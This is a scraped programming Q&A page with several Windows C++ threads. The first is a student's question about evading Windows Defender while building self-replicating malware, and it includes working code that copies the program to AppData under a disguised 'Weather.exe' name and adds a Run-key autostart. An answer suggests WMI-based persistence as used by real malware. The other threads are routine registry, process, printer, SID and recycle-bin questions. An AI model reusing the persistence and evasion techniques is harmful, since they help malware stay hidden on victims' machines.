Avoid Antivirus detection C++ - c++

For a school project, I'm developing a tiny malware that replicate itself and autorun with reg keys.
I want my program to set a reg key to autorun but when I do it Windows defender detect the RegSetValueExA function from windows.h. I also want my program to execute without administrator privilege.
My teacher told me that it's possible to avoid the detection. I have to detect when WD look at my program and tell it to stop/sleep while WD perform the scan. He also told me that it's possible to disable WD with powershell. But I don't really know how to it.
Here's the code that triggers Windows Defender:
void Victim::replicateNpersist()
{
char filename[ MAX_PATH ];
// Declaration of the directory that contain the malware
string Dir = "C:\\Users\\"+string(c_user)+"\\AppData\\Local\\WeatherChannel";
int LDir = Dir.length();
char dirPath[LDir+1];
strcpy(dirPath, Dir.c_str());
// Declaration of the object to copy
string Dest = "C:\\Users\\"+c_user+"\\AppData\\Local\\WeatherChannel\\Weather.exe";
int LDest = Dest.length();
char newLocation[LDest+1];
strcpy(newLocation,Dest.c_str());
// Creation of directory
CreateDirectoryA(dirPath, NULL);
BOOL stats=0;
DWORD size = GetModuleFileNameA(NULL, filename, MAX_PATH);
CopyFileA(filename, newLocation, stats);
// Persistence
HKEY hKey;
LPCSTR keyPath = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run";
LONG lnRes = RegOpenKeyExA(HKEY_CURRENT_USER, keyPath,0,KEY_WRITE,&hKey);
if(lnRes == ERROR_SUCCESS) {
RegSetValueExA(hKey,"Weather.exe", 0, REG_SZ,(LPBYTE)newLocation,strlen(newLocation)+1);
}
}

Try to create your registry key in another manner. Like a lot of true malware, you can try to use StdRegProv class through WMI :
Getting value from an OUT parameter in WMI in C++
https://www.blackhat.com/docs/us-15/materials/us-15-Graeber-Abusing-Windows-Management-Instrumentation-WMI-To-Build-A-Persistent%20Asynchronous-And-Fileless-Backdoor-wp.pdf

Related

RegOpenKeyEx Not finding an existing value

I am checking to see if the value "XXS" exists in the run registry
if (RegOpenKeyEx(HKEY_LOCAL_MACHINE, L"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\XXS", 0, KEY_READ | KEY_WOW64_64KEY, &hkey) == ERROR_FILE_NOT_FOUND)
{
std::cout << "KEY NOT FOUND";
LONG createStatus = RegCreateKey(HKEY_CURRENT_USER, L"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", &hkey); //Creates a key
LONG status = RegSetValueEx(hkey, L"XXS", 0, REG_SZ, (LPBYTE)path, (size + 1) * sizeof(WCHAR));
}
I am not sure why this is happening and if I am using this function right. The key does exist but it says it does not. The program is 64 bit running on 64 bit pc
I think the issue here is that you do not differentiate between keys and values.
Registry keys are container objects similar to folders. Registry values are non-container objects similar to files. Keys may contain values and subkeys.
So you basically need to open/create a key and then handle the values in it.
In your case, i'd try something like this (but be aware, from the top of my head, not tested):
#define HKLM_BASE L"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run"
HKEY hKey;
wchar_t buf[256] = { 0 };
LONG regError = RegOpenKeyEx(HKEY_LOCAL_MACHINE,HKLM_BASE,0, KEY_WOW64_64KEY | KEY_ALL_ACCESS,&hKey);
if (regError == ERROR_SUCCESS)
{
DWORD dwDataSize = sizeof(buf);
regError = RegQueryValueEx(hKey,L"XXS", NULL, NULL,(LPBYTE)&buf,&dwDataSize);
if ((regError != ERROR_SUCCESS) )
{
wchar_t *path =L"your value";
if (ERROR_SUCCESS != RegSetValueEx(hKey,L"XXS",NULL,REG_SZ,((const BYTE*)&path),wcslen (path)))
{
/* handle error */
}
} else {
/* current value in buf */
}
RegFlushKey( hKey );
RegCloseKey( hKey );
} else {
/* handle error */
}
Welcome to stack overflow! While typing this I see Morphine was just a little bit quicker. But he forgot to explain most of the the changes he made. So here are my 2 cents. The example of Morphine is fine , I won't provide another one.
I think XXS is a value (since you create a value, not a key, if it does not exist). This means you need to check if the value exist, right after you open the registry key. I also advise you to check on any error returning from the function RegOpenKeyEx, not only the ERROR_FILE_NOT_FOUND error.
Another thing I recommend is using RegCreateKeyEx instead of RegCreateKey, this since the documentation says the following:
Note This function is provided only for compatibility with 16-bit
versions of Windows. Applications should use the RegCreateKeyEx
function. However, applications that back up or restore system state
including system files and registry hives should use the Volume Shadow
Copy Service instead of the registry functions.
Last but not least, don't forget to close the keys once you do not need them anymore. You don't have to close values.

C++ Win32 - Getting App Name using PID and Executable Path

I'd like to get the name of an application on Windows.
Currently I'm using EnumProcesses() to enumerate all processes and receive a list of PIDs.
Then I'm looping through all PIDs, each iteration looks like this, when aProcess[i] is the current PID:
HANDLE proc = OpenProcess(PROCESS_ALL_ACCESS | PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, false, aProcesses[i]);
std::string processName = get_process_name(proc);
My get_process_name(proc) function uses GetModuleFileNameEx to get the executable path and GetProcessImageFileName in order to retrieve the name of the executable file.
What I want to retrieve is basically the App Name, as it is displayed in the Windows Task Manager.
I've looked throughout Win32 API's documentation and could not find a clue on how to achieve this.
I've tried looking for other ways such as Windows Shell tasklist but it outputs different things, for example- Google Chrome:
Image Name: chrome.exe PID: 84 Session Name: Console
I'd really appreciate any thought on the matter, whether it be the Win32 API or some other way I can implement through C++ code.
You can do this with GetFileVersionInfoA and VerQueryValueA.
You just need to follow the example given in the VerQueryValueA document.
Here is my sample:
struct LANGANDCODEPAGE {
WORD wLanguage;
WORD wCodePage;
} *lpTranslate;
int main()
{
HANDLE handle = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION , FALSE, 2140); //Modify pid to the pid of your application
if (!handle) return 0;
wchar_t pszFile[MAX_PATH] = L"";
DWORD len = MAX_PATH;
QueryFullProcessImageName(handle, 0, pszFile, &len);
UINT dwBytes, cbTranslate;
DWORD dwSize = GetFileVersionInfoSize(pszFile, (DWORD*)&dwBytes);
if (dwSize == 0) return 0;
LPVOID lpData = (LPVOID)malloc(dwSize);
ZeroMemory(lpData, dwSize);
if (GetFileVersionInfo(pszFile, 0, dwSize, lpData))
{
VerQueryValue(lpData,
L"\\VarFileInfo\\Translation",
(LPVOID*)&lpTranslate,
&cbTranslate);
wchar_t strSubBlock[MAX_PATH] = { 0 };
wchar_t* lpBuffer;
for (int i = 0; i < (cbTranslate / sizeof(struct LANGANDCODEPAGE)); i++)
{
StringCchPrintf(strSubBlock,50,
L"\\StringFileInfo\\%04x%04x\\FileDescription",
lpTranslate[i].wLanguage,
lpTranslate[i].wCodePage);
VerQueryValue(lpData,
strSubBlock,
(void**)&lpBuffer,
&dwBytes);
std::wcout << lpBuffer << std::endl;
}
}
if(lpData) free(lpData);
if (handle) CloseHandle(handle);
return 0;
}
And it works for me:
I think what you want are the "version" resources embedded in the PE file (the executables.)
You seem to be familiar with using Win32 API, so I'm just going to give you some hints.
You have to use LoadLibraryEx to load the EXE file (the Ex suffix is to enable passing the LOAD_LIBRARY_AS_DATAFILE flag,) and then call EnumResourceTypes (also see EnumResourceNames) to enumerate all the resource types/resources in the file, and find what you are looking for and then extract the data with LoadResource. The resource type you want is RT_VERSION.
I'm sure I'm omitting a lot of details (as per usual for Win32 programming,) and there might not be a need for enumeration at all; in which case you may want to call FindResource or FindResourceEx directly (if there is a fixed name for this particular resource.)
As further clarification, this gives you the date you see if you right-click on the EXE file (not the shortcut) in Windows Explorer and select "Properties", then go to the "Details" tab. If that information is indeed what you want (e.g. the "File description" field) then the above method should give you the data.

How to use OpenPrinter for a network printer?

I'm trying to establish a connection between a Windows 10 machine and a network printer via OpenPrinter API.
At the moment, OpenPrinter does not return with a valid handle and GetLastError() returns with Error 1801: "The printer name is invalid".
If I use a local printer connected to the machine, it does not occur and it works fine.
I've tried several versions of the name: The printer name used by Windows Control Panel, device name, IP, etc.,... but no success.
Within the registry only the local device is available. I use the network printer in several programs and I can ping it. So, from the network side it is ok.
But, the more I read about the Windows printer API, the more I get confused:
My basic understanding of this API is that I use an UNC name and post it to OpenPrinter(). Then OpenPrinter gives me a valid handle for the printer.
From my point of view anything else, like a socket connection, would be done by the API. Maybe I'm completely wrong and somebody can enlighten me.
Basically, the posted code snipped is an example provided by MSDN.
The variable LPWSTR printer = L"\\\\gisrv44.wekal.de\\wkkp04"; is given to LPTSTR szPrinterName.
BOOL RawDataToPrinter(LPTSTR szPrinterName, LPBYTE lpData, DWORD dwCount)
{
BOOL bStatus = FALSE;
HANDLE hPrinter = NULL;
DOC_INFO_1 DocInfo;
DWORD dwJob = 0L;
DWORD dwBytesWritten = 0L;
DWORD dwError = 0;
PRINTER_DEFAULTSA *pDefault = new PRINTER_DEFAULTSA();
pDefault->DesiredAccess = PRINTER_ACCESS_ADMINISTER;
PRINTER_OPTIONSA *pOptions = new PRINTER_OPTIONSA();
pOptions->dwFlags = PRINTER_OPTION_NO_CACHE;
// Open a handle to the printer.
bStatus = OpenPrinter(szPrinterName, &hPrinter, pDefault);
if (!bStatus)
{
dwError = GetLastError();
cout << dwError << endl;
}
.....etc
}
I think this is your problem:
The variable LPWSTR printer = L"\\gisrv44.wekal.de\wkkp04"; is given
to LPTSTR szPrinterName.
In C/C++ the character \ has a special purpose in string literals and can be used to express string that otherwise can't be expressed, such as \0, \n, \x48 and so on. This means that if you want to include a \ in your code, you will need to enter it twice, so you'll need to enter:
LPWSTR printer = L"\\\\gisrv44.wekal.de\\wkkp04";
If you want the string literal to become \\gisrv44.wekal.de\wkkp04
Alternatively, you can use the C++11 raw string literal syntax like:
LPWSTR printer = LR"(\\gisrv44.wekal.de\wkkp04)";
See here for more on C string literals
Furthermore, the usage of LPWSTR printer = ... for your printer url would suggest you are using the Unicode version of OpenPrinter (so OpenPrinterW) while PRINTER_DEFAULTSA would suggest you are using the ASCII version. Both should either use the ASCII (LPCSTR and PRINTER_DEFAULTSA) or the Unicode (LPWSTR and PRINTER_DEFAULTSW) variant, depending on the actual OpenPrinter define.
I would recommend to use OpenPrinterA or OpenPrinterW to make all WINAPI types and functions explicitly use ASCII or Unicode.
For example:
LPCSTR printer = R"(\\gisrv44.wekal.de\wkkp04)";
PRINTER_DEFAULTSA pDefault;
pDefault.DesiredAccess = PRINTER_ACCESS_ADMINISTER;
// Open a handle to the printer.
bStatus = OpenPrinterA(szPrinterName, &hPrinter, &pDefault);

How to get the logged-on user's SID in Windows

I need to get the string format SID of the logged-on user. I already have the username and am trying to use LookupAccountName to get the SID. This works partly - I do get a SID but it is only a partial match to the user's actual SID.
I do not want the SID of the process owner as the process may be elevated (impersonating), but rather I want the SID of the user who is logged on where the process is running.
The code needs to work with non-elevated privileges.
This is my code so far
LPCTSTR wszAccName = TEXT("hardcoded username for testing");
LPTSTR wszDomainName = (LPTSTR)GlobalAlloc(GPTR, sizeof(TCHAR) * 1024);
DWORD cchDomainName = 1024;
SID_NAME_USE eSidType;
SID sid;
DWORD cbSid = 1024;
if (!LookupAccountName(NULL, wszAccName, &sid, &cbSid, wszDomainName, &cchDomainName, &eSidType)) {
return GetLastError();
}
if (!ConvertSidToStringSid(&sid, &pszSidBuffer)) {
return GetLastError();
}
This yields a SID like "S-1-5-21-1-1234567890-9-1000"
But the user's actual SID is like "S-1-5-21-3214321539-1234567890-2233445522-1000"
(as per the process owner and the registry key under HKEY_USERS).
Note how the SIDs are the same except for the 5th and 7th components, which are only 1 digit each but should be longer.
How do I get the user's actual/complete SID?
Also, I'm a total C/C++ newbie (and the code above is not production quality at all). And I'm using /NODEFAULTLIB in order to avoid linking VC runtimes. Sorry about that.
Your code doesn't provide a properly-sized buffer for the SID returned by LookupAccountName(). This results in stack corruption and undefined behaviour, which might conceivably explain why you're not getting the SID you were expecting. (Although I rather suspect that you're actually passing in the wrong username, or an improperly formatted username.)
Anyway, to fix the most obvious problem, the code should look more like this:
#include <Windows.h>
#include <Sddl.h>
#include <stdio.h>
int main(int argc, char ** argv)
{
LPCTSTR wszAccName = TEXT("domainname\\username");
LPTSTR wszDomainName = (LPTSTR)GlobalAlloc(GPTR, sizeof(TCHAR) * 1024);
DWORD cchDomainName = 1024;
SID_NAME_USE eSidType;
LPTSTR sidstring;
char sid_buffer[1024];
DWORD cbSid = 1024;
SID * sid = (SID *)sid_buffer;
if (!LookupAccountName(NULL, wszAccName, sid_buffer, &cbSid, wszDomainName, &cchDomainName, &eSidType)) {
return GetLastError();
}
if (!ConvertSidToStringSid(sid, &sidstring)) {
return GetLastError();
}
printf("%ws\n", sidstring);
return 0;
}
That's still not the correct way to do it, of course; you are supposed to call LookupAccountName() twice, once to determine the buffer length and then a second time to retrieve the actual information. But it demonstrates what you've done wrong, and is good enough for testing purposes.

How to get Machine id using c++

am facing two problems one big problem and one small problem :)
problem # 1 : am unable to read Machine ID from below path ... i get my processor name like intel i7 #2.2ghz like that , i do not know why , i should get machine id , long integer string but i not get it , so please help
reg_path="SOFTWARE\\Microsoft\\Cryptography";
rvalue="MachineGuid"; // data value
my registery reading function
string read_reg_sz(char rpath[],char rdata[]) // read registery Loaction
{
REGSAM flag = KEY_WOW64_32KEY or KEY_WOW64_64KEY;
char buffer[MAX];
char Buffer[MAX];
DWORD BufSize = _MAX_PATH;
char dwMHz[MAX];
DWORD dataType = REG_SZ;
HKEY hKey;
long lError = RegOpenKeyEx(HKEY_LOCAL_MACHINE,rpath,NULL, KEY_READ | KEY_WRITE | flag,&hKey);
if(lError != ERROR_SUCCESS)
{// if the key is not found, tell the user why:
FormatMessage(FORMAT_MESSAGE_FROM_SYSTEM,
NULL,
lError,
0,
Buffer,
_MAX_PATH,
0);
cout<<"\n reg erro : "<<Buffer;
return "N/A";
}
// query the key:
RegQueryValueEx(hKey,rdata,NULL,&dataType,(LPBYTE) &dwMHz,&BufSize);
RegCloseKey(hKey); // close open handle ....
cout<<"\n reg data read: "<<dwMHz;
return dwMHz;
}
second problem :
currently i have function which can totally clean recycle bin :)
SHEmptyRecycleBin(NULL, NULL, SHERB_NOCONFIRMATION | SHERB_NOPROGRESSUI | SHERB_NOSOUND);
but i want to delete single file from recycle bin like passing filename
You should really post it as two different questions, but I'll try to answer both.
1. Get MachineGuid
I think your issue is in this line:
// query the key:
RegQueryValueEx(hKey,rdata,NULL,&dataType,(LPBYTE) &dwMHz,&BufSize);
You should change it to:
// query the key:
RegQueryValueEx(hKey,rvalue,NULL,&dataType,(LPBYTE) &dwMHz,&BufSize);
By the way, dhMHz does not sound like right variable name - change it to reflect reality.
Also, you should have this:
DWORD BufSize = sizeof(Buffer) - 1;
And, it would be nice to NOT have both buffer and Buffer variables.
2. Delete one file from recycle bin
According to Microsoft documentation on SHFileOperation, you should just use DeleteFile on filename like C:\$Recycle.Bin\file.txt:
When used to delete a file, SHFileOperation permanently deletes the file unless you set the FOF_ALLOWUNDO flag in the fFlags member of the SHFILEOPSTRUCT structure pointed to by lpFileOp. Setting that flag sends the file to the Recycle Bin. If you want to simply delete a file and guarantee that it is not placed in the Recycle Bin, use DeleteFile.
To delete a single file from the Recycle Bin, use SHGetSpecialFolderLocation(CSIDL_BITBUCKET) or SHGetKnownFolderIDList(FOLDERID_RecycleBinFolder) to get the absolute PIDL of the Recycle Bin, then use SHBindToObject() to get the IShellFolder interface for it and call its ParseDisplayName() method to convert the desired filename into a relative PIDL, then use SHBindToObject() to get the IContextMenu interface for the file and call its InvokeCommand() method to execute the file's "delete" verb.